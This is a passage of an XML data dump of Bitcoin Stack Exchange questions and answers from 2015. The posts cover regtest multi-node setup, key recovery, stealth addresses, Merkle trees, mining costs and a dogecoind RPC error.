  <row Id="36014" PostTypeId="2" ParentId="36013" CreationDate="2015-02-12T14:50:49.040" Score="7" Body="&lt;p&gt;It appears that Fred Tingey's answer was mostly correct, but contained incorrect port numbers in the samples he provided. If someone were to copy and paste it all it would not have worked correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've modified his answer, it is awaiting peer review.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The use of Ubuntu, Docker and VirtualBox shouldn't affect your ability to configure regtest. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may have problems connecting from the host to the guest, if you do I suggest perhaps asking questions on superuser or ubuntu exchanges instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;=== Here's the edited version:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to run multiple nodes in &lt;a href=&quot;https://bitcoin.org/en/developer-examples#regtest-mode&quot; rel=&quot;nofollow noreferrer&quot;&gt;regtest mode&lt;/a&gt; on a single machine you will need to sandbox each node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I have three nodes, they are named Alice, Bob and Cory. Since Bitcoin is a Peer/Mesh network, my goal is to connect each nodes so that changes made to Cory are ultimately visible to Bob (without necessarily requiring a direct connection between the two.)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 1: Create folders for each node.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;These folders will contain our data and configs for each node. The names are not important, they can be renamed later, so you can name them &quot;Alice&quot;, &quot;Bob&quot; and &quot;Cory&quot; for now. Remember where you create them, you will need their paths for Step 3 below.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 2: In each folder, create a &lt;a href=&quot;https://en.bitcoin.it/wiki/Running_Bitcoin#Bitcoin.conf_Configuration_File&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin.conf&lt;/a&gt; file&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In the config files Alice will be configured to connect to Cory, and Bob will be configured to connect to Alice. In addition to configuring outbound connections, this is also where we specify &lt;code&gt;regtest=1&lt;/code&gt; and &lt;code&gt;server=1&lt;/code&gt; settings.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;bitcoin.conf for &lt;em&gt;Alice&lt;/em&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;regtest=1&#xA;server=1&#xA; # Alice connects to Cory&#xA;connect=localhost:18333&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;bitcoin.con for &lt;em&gt;Bob&lt;/em&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;regtest=1&#xA;server=1&#xA; # Bob connects to Alice&#xA;connect=localhost:18444&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;bitcoin.conf for &lt;em&gt;Cory&lt;/em&gt;&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;regtest=1&#xA;server=1&#xA; # Cory connects to nobody&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 3: Start each node.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Note each node must have a different port number since only one node can bind to a port number at any time.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Alice on port 18444&lt;/li&gt;&#xA;&lt;li&gt;Bob on port 18555&lt;/li&gt;&#xA;&lt;li&gt;Cory on port 18333&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;You can choose your own port numbers of course, just be careful not to use a port number that is already in use by something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command-line options will tell bitcoin what port number to use, where to store data, and where to find its config file:&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Cory:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;C:\Program Files\Bitcoin\bitcoin-qt.exe&quot; -conf=&quot;C:\Cory\bitcoin.conf&quot; -datadir=&quot;C:\Cory&quot; -port=18333 -rpcport=8333&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Bob:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;C:\Program Files\Bitcoin\bitcoin-qt.exe&quot; -conf=&quot;C:\Bob\bitcoin.conf&quot; -datadir=&quot;C:\Bob&quot; -port=18555 -rpcport=8555&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Alice:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;C:\Program Files\Bitcoin\bitcoin-qt.exe&quot; -conf=&quot;C:\Alice\bitcoin.conf&quot; -datadir=&quot;C:\Alice&quot; -port=18444 -rpcport=8444&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will launch three instances of the Bitcoin Client, and the folders for each node will begin to initialize with regtest data.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Step 4: Testing&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;code&gt;Help-&amp;gt;Debug Window-&amp;gt;Console&lt;/code&gt; option to interactively execute commands on any of the nodes. For example, you can mine 101 blocks with the following bitcoin console command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;setgenerate true 101&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should (after a few seconds) then have been awarded coins.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;These mining activities result in &lt;a href=&quot;https://bitcoin.org/en/developer-guide#transaction-data&quot; rel=&quot;nofollow noreferrer&quot;&gt;coinbase transactions&lt;/a&gt; - and only the last one of 50 BTC is available to spend. Now you can send some BTC to one of the other nodes.  After a bit more mining such a transaction will be &lt;a href=&quot;https://en.bitcoin.it/wiki/Confirmation&quot; rel=&quot;nofollow noreferrer&quot;&gt;confirmed&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use the console commands &lt;code&gt;getpeerinfo&lt;/code&gt; and &lt;code&gt;getinfo&lt;/code&gt; to check the network is set up correctly.  One of them (Core wit port=18333) should have 'sync=true' in its peerinfo output, and all nodes should have the same &quot;block height&quot; regardless of which node is used for mining.&lt;/p&gt;&#xA;" OwnerUserId="4993" LastEditorUserId="4993" LastEditDate="2017-11-04T20:19:40.540" LastActivityDate="2017-11-04T20:19:40.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36015" PostTypeId="1" CreationDate="2015-02-12T15:38:04.180" Score="1" ViewCount="94" Body="&lt;p&gt;Can I send money to my friend's Chinese Bank account using Bitcoin? How easy and safe are the resources for a Chinese person to convert Bitcoin to cash?&lt;/p&gt;&#xA;" OwnerUserId="23327" LastEditorUserId="5406" LastEditDate="2015-06-23T10:15:50.583" LastActivityDate="2015-06-23T10:15:50.583" Title="Can I use Bitcoin so that my non-bitcoin friend finally receives CNY?" Tags="|exchanges|remittance|china|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36017" PostTypeId="2" ParentId="34232" CreationDate="2015-02-12T17:44:54.097" Score="6" Body="&lt;p&gt;Verification w/ Public key recovery is never going to be faster than normal verification however it is only marginally slower.  I benchmarked it a while back and PubKey recovery added about 5% overhead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changing the txn format would require a hard fork so it is unlikely that is going to happen but the advantage of pubkey recovery is that it trades storage for time.  This could be useful for Bitcoin as processor power is less of a bottleneck than WAN bandwidth especially in residential 'last mile' scenarios.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A typical 2in, 2out P2PkH transaction is 373 bytes with compressed keys and 437 bytes using uncompressed keys).  The same transaction without pubkeys would be 309 bytes resulting in a storage (bandwidth and memory) reduction of 17% to 29% in exchange for 5% increase in CPU time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hashing is extremely fast so performing 4 hashes vs 1 hash is negligible but a single byte can remove that overhead.  The protocol would require using a flag with the signature to indicate which form to use when recovering the PubKey.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x02 = compressed even&#xA;0x03 = compressed odd&#xA;0x04 = uncompressed even&#xA;0x05 = uncompressed odd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This really only saves significant space in P2PkH transactions. For P2SH (i.e. multisig) the script is very likely to contain full pubkeys instead of keyhashes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While using PubKey recovery initially would have made sense the cost in terms of needing a hardfork doesn't make that change very viable.  If putting a hardfork on the table there are a lot of more interesting things that could be done instead.  For example switching from ECDSA to Schnorr signatures would allow native thresholding signatures.  This would reduce the number of signatures from one (or more in the case of multisig) per input to just one per transaction.  As 64 bytes each that would really add up.&lt;/p&gt;&#xA;" OwnerUserId="307" LastEditorUserId="307" LastEditDate="2015-02-22T17:25:55.910" LastActivityDate="2015-02-22T17:25:55.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36018" PostTypeId="2" ParentId="20761" CreationDate="2015-02-12T18:51:38.590" Score="0" Body="&lt;p&gt;Like Nate said above, you may be able to recover it using that method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience though, i've never been able to actually recover it using pywallet. This wasn't because of CCcleaner(a whole nother story, but i highly advise against using software like this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sFortunately Litecoin isn't nearly as valuable as BTC, so your loss is minimal.&lt;/p&gt;&#xA;" OwnerUserId="21231" LastActivityDate="2015-02-12T18:51:38.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36019" PostTypeId="2" ParentId="36010" CreationDate="2015-02-12T18:56:26.657" Score="4" Body="&lt;p&gt;If you don't already agree with the above answers and understand why they are true, I recommend strongly rethinking the idea of mining. Before investing a single cent into mining, please invest in yourself, and your comprehension of btc first. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're mining simply for the enjoyment of learning about this fascinating technology than I recommend mining yourself, and taking it very slowly. By this I mean to acquire an insignificant amount of hashing power (such as an ASIC thumb drive or similar) to get your feet wet, one that will not burn your house down or set your finances on fire. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin mining is a deeply complex field and for the uninitiated its a surefire way to burn up.&lt;/p&gt;&#xA;" OwnerUserId="23330" LastActivityDate="2015-02-12T18:56:26.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36020" PostTypeId="2" ParentId="36015" CreationDate="2015-02-12T19:32:46.113" Score="-2" Body="&lt;p&gt;No, you cannot send money to your friends Chinese bank account with Bitcoin &lt;strong&gt;Legally&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are quite unsafe as those reliable exchanges available are all but nonexistent - &lt;em&gt;safe&lt;/em&gt; and &lt;em&gt;reliable resources&lt;/em&gt; do not exist in the form of centralized Chinese exchange posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a result of the 2013 legal regulations put into motion by the People's Republic, now what we have a a collection of vaguely enforceable rules with little to no precedent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[China's Proposed Bitcoin Laws]&lt;a href=&quot;http://www.bloomberg.com/news/articles/2013-12-05/china-s-pboc-bans-financial-companies-from-bitcoin-transactions&quot; rel=&quot;nofollow&quot;&gt;http://www.bloomberg.com/news/articles/2013-12-05/china-s-pboc-bans-financial-companies-from-bitcoin-transactions&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can your friend receive another form of Money in his bank account that you sent and paid for with Bitcoin? Perhaps, however please consider that months later, the perpetrators of MyCoin are still unknown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[see MyCoin]&lt;a href=&quot;http://thecryptosphere.com/2015/02/09/ten-percent-of-all-bitcoin-in-circulation-was-just-stolen/&quot; rel=&quot;nofollow&quot;&gt;http://thecryptosphere.com/2015/02/09/ten-percent-of-all-bitcoin-in-circulation-was-just-stolen/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remittance tag appears not to exist.&lt;/p&gt;&#xA;" OwnerUserId="23330" LastEditorUserId="23330" LastEditDate="2015-03-08T18:57:39.813" LastActivityDate="2015-03-08T18:57:39.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36024" PostTypeId="2" ParentId="24429" CreationDate="2015-02-13T05:50:08.257" Score="0" Body="&lt;p&gt;This algorithm generates a public key, which both parties know. It's just a public key, though, so only recipient has the ability to spend the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to the paper, &lt;code&gt;Q&lt;/code&gt; is the recipient's stealth public key and &lt;code&gt;c&lt;/code&gt; is the shared secret. The calculation &lt;code&gt;Q'=(Q+c)G&lt;/code&gt; creates a shared public key derived from the receiver's stealth public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the receiver's private stealth key is &lt;code&gt;d&lt;/code&gt;, they can unlock the funds by calculating the new private key &lt;code&gt;(d+c)&lt;/code&gt;. The sender doesn't know &lt;code&gt;d&lt;/code&gt;, so they have no way of calculating this value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP32 HD wallets use the same idea. You can start with a private key, &lt;code&gt;k&lt;/code&gt;, and a public key &lt;code&gt;K = kG&lt;/code&gt;. Then, you start adding random numbers (hashes, actually) to both keys. As long as you add the same number to both the private and the public key, you maintain a working keypair. You can reveal your public key &lt;code&gt;K&lt;/code&gt;, which allows others to addresses, but they cannot spend from those addresses without knowing the private key &lt;code&gt;k&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11704" LastEditorUserId="11704" LastEditDate="2015-02-13T05:57:55.800" LastActivityDate="2015-02-13T05:57:55.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36025" PostTypeId="1" CreationDate="2015-02-13T06:19:01.337" Score="4" ViewCount="1777" Body="&lt;p&gt;Suppose Alice has 30 bitcoins from David. Now Alice wants to transfer amount 20 bitcoins to Bob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, Alice creates a transaction with Bob's bitcoin address.&lt;br&gt;&#xA;To prove authenticity and integrity, Alice digitally signs the current transaction. &lt;br&gt;&#xA;To prove that Alice owns the money, the current transaction includes hash from David's transaction which can be verified by the recipient and other nodes on the network. &lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per my understanding, transactions are collected in blocks which are linked to form a block chain. Every node on the network stores the block chain. To verify whether Alice owns the money, one has to verify the bitcoin address of Alice in David's transaction. Now David's transaction can be very old, in older blocks. How this check is done? Is the hash of David's transaction for Alice's ownership checked in every block in the block chain?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the ownership verified by going from block to block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also what prevents Alice from using David's transaction again and again?&lt;/p&gt;&#xA;" OwnerUserId="23335" LastEditorUserId="23335" LastEditDate="2015-02-13T06:57:48.590" LastActivityDate="2015-02-13T15:15:22.827" Title="Verifying Bitcoin ownership" Tags="|transactions|blockchain|block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36026" PostTypeId="1" CreationDate="2015-02-13T06:36:23.963" Score="4" ViewCount="1374" Body="&lt;p&gt;The leaves of the Merkle Tree has the hash of the transactions. How are transactions stored in the block? What is the purpose of Merkle Tree.&lt;/p&gt;&#xA;" OwnerUserId="23335" LastActivityDate="2015-03-15T07:28:50.753" Title="What is the purpose of Merkle Tree in blocks?" Tags="|block|merkle-tree|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36028" PostTypeId="1" CreationDate="2015-02-13T06:42:37.713" Score="0" ViewCount="1653" Body="&lt;p&gt;I have read that entire bitcoins received in one transaction have to be spend in other transaction. The actual amount to be transferred is deducted from the total bitcoins and the change is returned back to sender's bitcoin address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose, David Sends Alice the amount in form of two outputs, output0: 10 bitcoins and output1: 20 bitcoins in the same transaction. Now Alice wants to transfer 5 bitcoin to Eve. Does Alice has to spend entire 30 bitcoins, by transfering 5 to Eve and remaining 25 to herself?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or can she choose any of the output e.g. output0: 10, transfer 5 bitcoins to Eve and change 5 bitcoins to herself? If this is the case, how is this tracked, as the hash of the David's transaction can be used to spend the output1: 20 bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="23335" LastActivityDate="2015-02-13T18:17:00.813" Title="Transaction with multiple outputs" Tags="|transactions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36029" PostTypeId="1" AcceptedAnswerId="36041" CreationDate="2015-02-13T07:04:34.043" Score="0" ViewCount="36" Body="&lt;p&gt;What is the procedure to calculate the bitcoins owned by any address X?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;do we have to search for every transaction in every block in the block chain, with recipient as X? But this will not give correct result, as X might have spend some amount? How is this recorded&gt;?&lt;/p&gt;&#xA;" OwnerUserId="23335" LastActivityDate="2015-02-13T18:12:23.733" Title="Computing the bitcoins of any address" Tags="|protocol|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36030" PostTypeId="1" CreationDate="2015-02-13T07:10:26.440" Score="1" ViewCount="93" Body="&lt;p&gt;After successfully mining a block, the block and the solution is broadcast to the network. The nodes on the network in turn verify the solution. Aren't transactions that belong to the broadcasted mined block validated?&lt;/p&gt;&#xA;" OwnerUserId="23335" LastEditorUserId="5406" LastEditDate="2016-04-10T12:52:59.793" LastActivityDate="2016-04-10T12:52:59.793" Title="Are transactions in the mined block validated by other nodes on the network?" Tags="|transaction-verification|" AnswerCount="1" CommentCount="0" ClosedDate="2015-02-13T16:58:14.447" ContentLicense="CC BY-SA 3.0" />
  <row Id="36031" PostTypeId="2" ParentId="36026" CreationDate="2015-02-13T07:18:41.000" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation%23Merkle_Trees&quot; rel=&quot;nofollow&quot;&gt;Btc wiki: Merkle Trees&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Merkle tree is a hash function value which can be used to validate that every piece of information in a block can be authenticated, in this case, it validates that for each Tx and its hash value, it has not been tampered with in any way, shape or form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's use an analogy: assume we have a file cabinet of files, each file in numerical order. Now, assume each file is sealed with a wax stamp, and each wax stamp has the date spelt in words. If we changed the date at all, the words make it so there's no longer a match (1==&gt;7 is easily done, but not &lt;em&gt;one&lt;/em&gt;==&gt;&lt;em&gt;seven&lt;/em&gt;!). So we're sure each file (Tx) is legit. Now assume the filing cabinet has the sum of the number of letters used in those words on the Txs' stamps. Any change that was made, say one==&gt;seven has changed the sum of the letter, since seven is two letters longer than one. This is a simplistic analogy of how hashes can easily authenticate a piece of data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthering the analogy, each block (filing cabinet) has a combination lock which references the block (filing cabinet )before that. So minor changes in even one single letter of a single Tx in a single filing cabinet (block) will invalidate whole system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend looking into the Wikipedia cryptographic hash entry to get a deeper understanding, or books like &lt;em&gt;Mastering Bitcoin&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-02-13T07:18:41.000" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36032" PostTypeId="2" ParentId="36030" CreationDate="2015-02-13T07:25:31.730" Score="1" Body="&lt;p&gt;This has been covered before (I can't give links at this juncture as I'm on mobile device), but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;each block references the previous block, preserving manipulation of blocks through POW&lt;/li&gt;&#xA;&lt;li&gt;each Tx references it's corresponding UTXO hash&lt;/li&gt;&#xA;&lt;li&gt;each UTXO requires a cryptographic puzzle (script) solution to spend the UTXOs&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm sure someone will refer you to further information if I haven't edited this myself later on.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-02-13T07:25:31.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36033" PostTypeId="1" AcceptedAnswerId="36110" CreationDate="2015-02-13T09:00:55.760" Score="0" ViewCount="1162" Body="&lt;p&gt;I am trying to play with dogecoin deamon useing node-dogecoin library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately most calls I try return &quot;Method not found&quot; error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; dogecoin&#xA;.auth('MyUserName', 'mypassword')&#xA;.getNewAddress()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only method I've managed to run successfully so far is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.getmininginfo();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which makes me feel that deamon is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what could be the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit : debug.log file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2015-02-16 05:47:57 GetNextWorkRequired() : RETARGET; target: 60, actual: 150, modulated: 71, before: 1b3b3a63, after: 1b461628&#xA;2015-02-16 05:47:57 UpdateTip: new best=7db9ae84010185d708f5f1236dd5102b5b4c904bb1099c388485721d2e5b449e  height=194311  log2_work=59.309095  tx=9406440  date=2014-04-24 07:24:42 progress=0.292254&#xA;2015-02-16 05:47:57 ProcessBlock: ACCEPTED&#xA;2015-02-16 05:47:57 ProcessBlock: ORPHAN BLOCK 152, prev=793c3f50e6725b056963fae977131f16b15b0d1b7e1c9c550fe8cec9a092f126&#xA;2015-02-16 05:47:57 ProcessBlock: ORPHAN BLOCK 153, prev=d54393112610200c1d47fb7ced2f9eb8d33f241fec209dfb2cc4502b462b5cb3&#xA;2015-02-16 05:47:58 ProcessBlock: ORPHAN BLOCK 154, prev=3a2c422d3996c80bceef7e0a6901178ddf84d00c97d08990be63b4028e99abf7&#xA;2015-02-16 05:47:58 ProcessBlock: ORPHAN BLOCK 155, prev=2dbaee58af92c0c92ea500bf88992c02ddddfb5ca7e3c2a1416b27c4f1b9cb9d&#xA;2015-02-16 05:47:58 ProcessBlock: ORPHAN BLOCK 156, prev=9058c7d4c4439c074ffb58213a169ed524c142877230cb1823a637c468aec544&#xA;2015-02-16 05:47:58 ProcessBlock: ORPHAN BLOCK 157, prev=012a8d8caa54c4115d05433390c060af3ed9d35f4761487bdf94a47aada02335&#xA;2015-02-16 05:47:58 ProcessBlock: ORPHAN BLOCK 158, prev=0840f526c0828e6fe1dc9513dfd34acbf3bae8e8bbef719807d7f50180bf3c80&#xA;2015-02-16 05:47:58 ProcessBlock: ORPHAN BLOCK 159, prev=4b2ae3b0e5d79b8eb01146128ce98f608d42c450dca75aebe47d8ea072e144ff&#xA;2015-02-16 05:47:59 GetNextWorkRequired() : RETARGET; target: 60, actual: 29, modulated: 57, before: 1b461628, after: 1b42950c&#xA;2015-02-16 05:47:59 UpdateTip: new best=67981a7bdbbf610ce6bc35ac7065aadbb02c66bbfdb811a133692bc44731aec4  height=194312  log2_work=59.309103  tx=9406445  date=2014-04-24 07:24:56 progress=0.292254&#xA;2015-02-16 05:47:59 ProcessBlock: ACCEPTED&#xA;2015-02-16 05:47:59 ProcessBlock: ORPHAN BLOCK 160, prev=3872f8f2114d76d82fce03f96a9183f2e623627f0395b0166ecacd4bd604bc47&#xA;2015-02-16 05:47:59 ProcessBlock: ORPHAN BLOCK 161, prev=92f508ebcd8f8c5495d14cfbde46a82a6fd40ba00278b8f6d9547df1fb478e99&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;w.&lt;/p&gt;&#xA;" OwnerUserId="23138" LastEditorUserId="23138" LastEditDate="2015-02-16T05:50:52.740" LastActivityDate="2015-02-18T15:07:34.833" Title="Dogecoin daemon (dogecoind) returning &quot;Method not found&quot; error" Tags="|dogecoin|node.js|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="36034" PostTypeId="2" ParentId="21668" CreationDate="2015-02-13T09:19:56.227" Score="0" Body="&lt;p&gt;Bitnodes has just launched their &lt;a href=&quot;https://getaddr.bitnodes.io/nodes/incentive/&quot; rel=&quot;nofollow&quot;&gt;incentive program&lt;/a&gt;. Every week they randomly select one node out of a pool of eligible nodes who receives a small incentive (~10-30USD). Besides that you will not receive any Bitcoins by just running a full node.&lt;/p&gt;&#xA;" OwnerUserId="23222" LastActivityDate="2015-02-13T09:19:56.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36035" PostTypeId="2" ParentId="35950" CreationDate="2015-02-13T09:42:56.203" Score="2" Body="&lt;p&gt;A solution, but still not optimal for me, is on a Bitcoin Forum &lt;a href=&quot;https://bitcointalk.org/index.php?topic=622783.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;posting&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The server grade HP DPS-800GBA connectors are completely incompatible with &lt;a href=&quot;http://download.siliconexpert.com/pdfs/2013/10/31/1/1/47/89/fci_/manual/10108888.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;FCI PWRLOPRO&lt;/a&gt; connector that my existing server-grade &lt;a href=&quot;http://www.alliedelec.com/bel-power-solutions-pfe1100-12-054ra/70006075/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PFE1100-12-054RA PSUs&lt;/a&gt; connect to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wound up canabalizing the Coolmax ATX cables.  Only needed to solder the ends of the cables to prep them for crimping into a 4 AWG lug.  Tested the fashioned cables to make sure the voltage being delivered was indeed 12 volts DC. For now, the PCIe voltage sensing pins are floating, no PSU feedback being supplied. The server PSU is much noisier, but takes up significantly less space, and is about 15% more power efficient than the older ATX PSUs. Will see if everything still works in another month. See the picture below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F9nNr.jpg&quot; alt=&quot;Cointerra 1100 Watt PFE1100-12-054RA PSU Powering an Antminer C1&quot;&gt;   &lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="10377" LastEditDate="2015-02-14T01:26:37.007" LastActivityDate="2015-02-14T01:26:37.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36036" PostTypeId="2" ParentId="36010" CreationDate="2015-02-13T13:04:35.887" Score="2" Body="&lt;p&gt;Bitcoin mining &lt;em&gt;can&lt;/em&gt; be profitable BUT it is not for the unwary. You need to look carefully at the hash rate, difficulty, power consumption and electricity prices to determine whether it's worth doing. I have a number of AntMinerS3 at home. I got these as they were the best (most efficient) miners at a sensible price. However, with BitCoin prices having reduced I now only run these at night (Economy 7) or when sunny (and then run them on surplus PV array electricity). So not for the unwary. That said the antminers are reasonably fit and forget.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to consider is that they eat electricity. An Antminer consumes about 350W = 4.2kWh(Units) per day = 1533kWh per year. This is a lot of electricity. A few of these could double your electricity bill! However, remember that this electricy comes out as heat, so if you can use/need the heat then that is something to consider. We use 2 x antminers to heat my wife's crafting space in the shed. Ok so they are expensive heaters but they are also generating money while on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So miners can be profitable BUT you do need to think about what you're doing &lt;/p&gt;&#xA;" OwnerUserId="23338" LastActivityDate="2015-02-13T13:04:35.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36037" PostTypeId="2" ParentId="35956" CreationDate="2015-02-13T13:50:03.313" Score="3" Body="&lt;p&gt;I found an &lt;strong&gt;&lt;em&gt;INCREDIBLY&lt;/em&gt;&lt;/strong&gt; detailed spreadsheet documenting every single &quot;&lt;em&gt;weird&quot;&lt;/em&gt; Tx up until March 2014. It's available at John Ratcliff's &lt;a href=&quot;http://codesuppository.blogspot.com&quot; rel=&quot;nofollow&quot;&gt;Code Suppository&lt;/a&gt; in his &quot;&lt;em&gt;Transaction Input Signatures in the Bitcoin Blockchain over time&lt;/em&gt;&quot; &lt;a href=&quot;http://codesuppository.blogspot.com/2014/03/transaction-input-signatures-in-bitcoin.html&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt;, which in itself, is an incredibly comprehensive source of technically based Bitcoin information. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://drive.google.com/file/d/0BwdyTvSh6bUkeUM5QzRXRWkteWM/edit?usp=sharing&quot; rel=&quot;nofollow&quot;&gt;Spreadsheet documenting &quot;weird Txns&quot;&lt;/a&gt; (March 4th, 2014 link)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Similar in discussion and conclusions, &lt;a href=&quot;http://www.righto.com/2014/02/bitcoin-transaction-malleability.html&quot; rel=&quot;nofollow&quot;&gt;Ken Shirriff assesses&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/tagged/transaction-malleability&quot;&gt;Txn Malleability&lt;/a&gt; in his discussion, which is especially noteworthy since both these articles date from around the Mt. Gox implosion of Feb. 2014. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From John Ratcliff:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  